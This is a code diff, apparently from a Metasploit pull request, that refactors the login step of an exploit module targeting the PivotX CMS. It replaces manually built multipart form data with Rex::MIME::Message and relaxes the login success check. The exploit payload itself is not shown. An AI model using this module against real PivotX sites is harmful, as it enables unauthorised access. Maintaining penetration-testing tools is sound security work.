Uses Rex::MIME::Message instead of manual form-data

Author: msutovsky-r7

modules/exploits/linux/http/pivotx_index_php_overwrite.rb

@@ -75,32 +75,22 @@ def check
   end
 
   def login
-    boundary = Rex::Text.rand_text_alphanumeric(16).to_s
-
-    data_post = "------WebKitFormBoundary#{boundary}\r\n"
-    data_post << "Content-Disposition: form-data; name=\"returnto\"\r\n\r\n"
-    data_post << "\r\n"
-    data_post << "------WebKitFormBoundary#{boundary}\r\n"
-    data_post << "Content-Disposition: form-data; name=\"template\"\r\n\r\n"
-    data_post << "\r\n"
-    data_post << "------WebKitFormBoundary#{boundary}\r\n"
-    data_post << "Content-Disposition: form-data; name=\"username\"\r\n\r\n"
-    data_post << "#{datastore['USERNAME']}\r\n"
-    data_post << "------WebKitFormBoundary#{boundary}\r\n"
-    data_post << "Content-Disposition: form-data; name=\"password\"\r\n\r\n"
-    data_post << "#{datastore['PASSWORD']}\r\n"
-    data_post << "------WebKitFormBoundary#{boundary}\r\n"
-
-    res = send_request_cgi!({
+    data_post = Rex::MIME::Message.new
+    data_post.add_part('', nil, nil, %(form-data; name="returnto"))
+    data_post.add_part('', nil, nil, %(form-data; name="template"))
+    data_post.add_part(datastore['USERNAME'], nil, nil, %(form-data; name="username"))
+    data_post.add_part(datastore['PASSWORD'], nil, nil, %(form-data; name="password"))
+
+    res = send_request_cgi({
       'method' => 'POST',
       'uri' => normalize_uri(target_uri.path, 'pivotx', 'index.php'),
       'vars_get' => { 'page' => 'login' },
-      'ctype' => "multipart/form-data; boundary=----WebKitFormBoundary#{boundary}",
-      'data' => data_post,
+      'ctype' => "multipart/form-data; boundary=#{data_post.bound}",
+      'data' => data_post.to_s,
       'keep_cookies' => true
     })
 
-    fail_with Failure::NoAccess, 'Login failed, probably incorrect credentials' unless res&.code == 200 && res.body.include?('Dashboard') && !res.body.include?('Incorrect username/password') && res.get_cookies =~ /pivotxsession=([a-zA-Z0-9]+);/
+    fail_with Failure::NoAccess, 'Login failed, probably incorrect credentials' unless (res&.code == 200 || res&.code == 302) && res.get_cookies =~ /pivotxsession=([a-zA-Z0-9]+);/
 
     @csrf_token = Regexp.last_match(1)
   end